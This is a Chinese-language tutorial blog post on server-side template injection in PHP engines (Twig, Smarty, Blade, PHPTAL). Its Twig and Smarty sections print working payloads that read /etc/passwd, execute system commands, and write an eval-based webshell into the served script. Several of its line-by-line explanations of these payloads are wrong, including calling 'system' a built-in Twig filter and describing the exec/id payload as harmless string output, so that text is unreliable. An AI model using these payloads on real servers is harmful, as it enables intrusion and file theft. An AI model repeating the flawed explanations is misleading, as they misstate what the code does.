SSTI模板注入

发布时间 2023-04-26 17:27:29作者: ikn0w1T

SSTI模板注入

模板引擎

在SSTI模板注入漏洞中,攻击者可以利用应用程序中的模板引擎来注入恶意代码并执行任意代码。因此,了解模板引擎是理解SSTI漏洞的关键。

模板引擎是一种将数据和模板结合生成输出的工具。它们通常用于动态生成网页、电子邮件和其他文本文件。模板引擎允许开发人员将数据和HTML、CSS和JavaScript等标记语言混合在一起,然后生成最终的文本输出。这样的输出可以包含用户输入数据和固定文本,以及动态生成的代码和变量。在SSTI漏洞中,攻击者可以将恶意代码注入到这些变量或代码中,从而执行任意代码。

SSTI

SSTI简介

SSTI(Server-Side Template Injection)指的是一种在服务器端模板中注入恶意代码的攻击技术。在这种攻击中,攻击者利用应用程序中的模板引擎来注入恶意代码并执行任意代码。

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

攻击者可以通过注入特定的代码或变量名来执行任意代码,例如调用系统命令、读取文件系统中的文件或访问敏感数据。这些恶意代码通常被注入到模板中的变量或控制结构中,并在服务器端执行。

SSTI攻击的原理是利用模板引擎中的漏洞,使攻击者能够控制模板引擎解析的数据。一些模板引擎可能会将用户提供的输入作为模板代码执行,而没有对其进行适当的过滤和转义。这样,攻击者就可以注入任意的模板代码,并执行任意代码。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

基本原理

如果用户输入作为【模板当中变量 的值】,模板引擎一般会对用户输入进行编码转义,不容易造成XSS攻击。

<?php
    require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {{name}}", array("name" =>$_GET["name"]));  // 将用户输入作为模版变量的值
    echo $output;
?>

这段代码输入<script>alert(1)</script>会原样输出,因为进行了HTML实体编码。

但是如果用户输入作为了【模板内容 的一部分】,用户输入会原样输出

<?php
    require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
    echo $output;
?>
这段代码输入&lt;script&gt;alert(1)&lt;/script&gt;会造成XSS漏洞。

如果输入Vuln{%23 comment %23}{{2*8}},会执行2*8这个语句,输出Hello Vuln16。因为经过渲染后,模板变成了Hello Vuln{# comment #}{{2\*8}}。

不同的模板会有不同的语法,一般使用Detect-Identify-Expoit的利用流程。

模板基础知识

{% ... %} 用来声明变量 //{% %}是模板标签,例:for循环,if条件判断 

{{ ... }} 用来将表达式打印到模板输出 //{{ }}是模板变量的用法,模板中想要展示视图向模板渲染的变量,需要使用{{变量}}进行接收。

{# ... #} 表示未包含在模板输出中的注释

在模板注入中,主要使用的是{{}} 和 {%%}

检测是否存在ssti
在url后面,或是参数中添加 {{ 6*6 }} ,查看返回的页面中是否有 36

例子

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句

附表

img

PHP中的SSTI

php常见的模板:twig,smarty,blade,phptal

Twig

Twig是一种灵活的、高性能的PHP模板引擎,由Symfony框架开发团队开发并维护。Twig提供了许多强大的功能,如自动HTML转义、条件和循环语句、继承和块等。

下面是一个基本的Twig模板示例,它显示了一个变量和一个if语句:

<html>
  <head>
    <title>{{ title }}</title>
  </head>
  <body>
    {% if user %}
      <h1>Welcome, {{ user }}!</h1>
    {% else %}
      <h1>Welcome, guest!</h1>
    {% endif %}
  </body>
</html>

在这个例子中,{{ title }}{{ user }}是可以被替换的变量。{% if %}{% endif %}是用于条件语句的控制结构。攻击者可以通过注入恶意的变量名和控制结构来执行任意代码。

文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}

这段Twig代码的意思是从文件/etc/passwd中提取从第1行开始的前30个字符,并将提取的结果输出。

{{app.request.files.get(1).__construct('/etc/passwd','')}}

这段Twig代码的意思是使用PHP的__construct方法调用一个恶意的文件路径,以读取/etc/passwd文件。
具体解释如下:
1.app是Twig中的一个全局变量,表示当前应用程序的实例。request是应用程序实例的一个属性,表示当前请求的信息。files是请求信息中的一个属性,表示上传的文件信息。
2.files.get(1)表示获取上传的第一个文件,即$_FILES[1]。在这里,我们假设攻击者已经上传了一个文件,并且该文件位于$_FILES[1]中。
3.__construct是PHP的一个魔术方法,用于创建一个新的对象。在这里,攻击者利用了PHP中对象的特性,通过调用__construct方法来执行恶意代码。
4.('/etc/passwd','')是作为参数传递给__construct方法的。第一个参数/etc/passwd是要读取的文件路径,第二个参数''表示传递给构造函数的第二个参数为空字符串。

{{app.request.files.get(1).openFile.fread(99)}}

这段Twig代码的意思是从上传的第一个文件中读取前99个字节并将其输出。
具体解释如下:
1.app是Twig中的一个全局变量,表示当前应用程序的实例。request是应用程序实例的一个属性,表示当前请求的信息。files是请求信息中的一个属性,表示上传的文件信息。
2.files.get(1)表示获取上传的第一个文件,即$_FILES[1]。在这里,我们假设攻击者已经上传了一个文件,并且该文件位于$_FILES[1]中。
3.openFile是获取上传文件的句柄,用于读取文件内容。fread(99)是PHP的一个内置函数,用于从文件中读取指定长度的内容。
4.(99)表示要读取的字节数,即前99个字节。

RCE

{{['cat /etc/passwd']|filter('system')}}

这段Twig模板引擎的代码使用了"filter"过滤器,并将"system"过滤器应用到了一个数组中。数组中只有一个元素,即"cat /etc/passwd"字符串。

具体来说,它的意思是将"cat /etc/passwd"字符串作为参数传递给"system"过滤器。"system"过滤器是Twig内置的一个过滤器,它将传递的参数作为系统命令来执行,并返回命令的输出结果。

这段代码的实际效果是执行"cat /etc/passwd"命令,并将结果输出到页面上。

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

这是一个基于Twig模板引擎的SSTI注入攻击示例,攻击者将恶意模板注入到了POST请求中的body中,并利用"app.request.query"方法获取了请求参数"0"的值,然后使用"filter"过滤器对该值进行处理。

具体来说,这个恶意模板使用了如下语法:

{{ app.request.query.filter(0,0,1024,{'options':'system'}) }}

该语法的含义为:首先调用Twig中的"app.request.query"方法获取HTTP请求的查询参数;然后使用"filter"过滤器对参数"0"的值进行处理,其中第一个参数"0"表示要处理的参数的名称或索引;第二个参数"0"表示要从参数值的哪个位置开始处理,这里是从第一个字符开始;第三个参数"1024"表示要处理的最大字符数;第四个参数是一个选项字典,包含了"system"选项,表示使用系统命令执行过滤器操作。

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

这段Twig模板引擎的代码意思是注册一个名为"exec"的未定义过滤器回调函数,并将其绑定到当前的Twig环境对象上。然后,它使用当前环境中的"getFilter"方法调用"id"过滤器。

具体解释如下:

  1. {{_self.env.registerUndefinedFilterCallback("exec")}}是使用Twig环境对象(_self.env)中的"registerUndefinedFilterCallback"方法注册一个未定义过滤器回调函数。在这里,回调函数的名称是"exec",这意味着任何未定义的过滤器都将调用该回调函数进行处理。由于"exec"是一个自定义的过滤器名称,它在Twig中并不存在,因此这段代码会注册一个名为"exec"的自定义过滤器。
  2. {{_self.env.getFilter("id")}}是使用当前Twig环境中的"getFilter"方法获取"id"过滤器,并将其应用于当前的变量。由于"id"过滤器本身是一个标准过滤器,它将返回当前变量的字符串表示形式,因此这段代码的实际效果是输出当前变量的字符串表示形式。

由于该代码使用了自定义过滤器,并将"exec"过滤器绑定到当前的Twig环境对象上,攻击者可以利用该漏洞执行任意的系统命令,读取敏感文件等。

Smarty

Smarty是一个广泛使用的PHP模板引擎,具有灵活的语法和高度的可扩展性。Smarty支持模板继承、插件、控制结构等特性,并具有内置的缓存功能,可以加快模板的加载速度。

以下是一个简单的Smarty模板示例:

<!DOCTYPE html>
<html>
<head>
    <title>{$title}</title>
</head>
<body>
    <h1>{$page_heading}</h1>
    <ul>
        {foreach $items as $item}
            <li>{$item}</li>
        {/foreach}
    </ul>
</body>
</html>

在这个例子中,{$title}{$page_heading}{$item}都是可以替换的变量,{foreach}{/foreach}是用于循环的控制结构。

常规利用方式

  1. {$smarty.version}

    {$smarty.version}  #获取smarty的版本号
    
  2. {php}{/php}

    {php}phpinfo();{/php}  #执行相应的php代码
    

    因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

  3. {literal}

    <script language="php">phpinfo();</script>   
    

    这种写法只适用于php5环境

  4. getstreamvariable

    {self::getStreamVariable("file:///etc/passwd")}
    

    这段代码的意思是调用self::getStreamVariable()方法并将file:///etc/passwd作为参数传递给它。

    具体解释如下:

    1. self是一个指向当前类的指针。在这里,我们假设这段代码是在一个类方法中执行的。
    2. ::是PHP中的作用域解析运算符,用于访问静态属性和方法。
    3. getStreamVariable()是一个静态方法,它的作用是获取指定URL的内容并返回。在这里,攻击者将file:///etc/passwd作为参数传递给该方法,以获取/etc/passwd文件的内容。
      • 在3.1.30的Smarty版本中官方已经把该静态方法删除
  5. {if}{/if}

    {if phpinfo()}{/if}
    

    Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:{if is_array($array)}

  6. {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
    

    这段Smarty模板引擎的代码意思是向服务器上的某个文件中写入一个PHP代码片段,该代码片段将从HTTP GET参数中读取一个名为cmd的变量,并将其作为PHP代码执行。这段代码有严重的安全问题,容易受到SSTI和远程代码执行(RCE)攻击。

    具体解释如下:

    1. Smarty_Internal_Write_File::writeFile()是Smarty模板引擎内置的一个函数,用于将指定的内容写入到文件中。
    2. $SCRIPT_NAME表示要写入内容的文件名。在这里,攻击者试图将恶意代码写入当前正在访问的脚本文件中,从而实现远程代码执行。
    3. "<?php eval($_GET['cmd']); ?>"是要写入的内容,表示一个PHP代码片段,其中调用了eval()函数,用于执行从HTTP GET参数cmd中获取的代码。
    4. self::clearConfig()是Smarty模板引擎内置的一个函数,用于清除Smarty的缓存和配置信息。

Blade

Blade是一个简单而强大的PHP模板引擎,具有类似于Jinja2和Twig的语法。Blade支持模板继承、控制结构和表达式等特性,并具有内置的缓存和编译功能,可以提高模板的性能。

以下是一个简单的Blade模板示例:

<!DOCTYPE html>
<html>
<head>
    <title>{{ $title }}</title>
</head>
<body>
    <h1>{{ $page_heading }}</h1>
    <ul>
        @foreach($items as $item)
            <li>{{ $item }}</li>
        @endforeach
    </ul>
</body>
</html>

在这个例子中,{{ $title }}{{ $page_heading }}{{ $item }}都是可以替换的变量,@foreach@endforeach是用于循环的控制结构。

Phptal

PHPTAL是一个PHP模板引擎,具有严格的模板语法和安全性。PHPTAL支持模板继承、控制结构和表达式等特性,并且可以自动转义输出和防止SSTI攻击。

以下是一个简单的PHPTAL模板示例:

<!DOCTYPE html>
<html>
<head>
    <title tal:content="title"></title>
</head>
<body>
    <h1 tal:content="page_heading"></h1>
    <ul tal:repeat="item items">
        <li tal:content="item"></li>
    </ul>
</body>
</html>

在这个例子中,tal:content="title"tal:content="page_heading"tal:content="item"都是可以替换的变量,tal:repeat="item items"是用于循环的控制结构。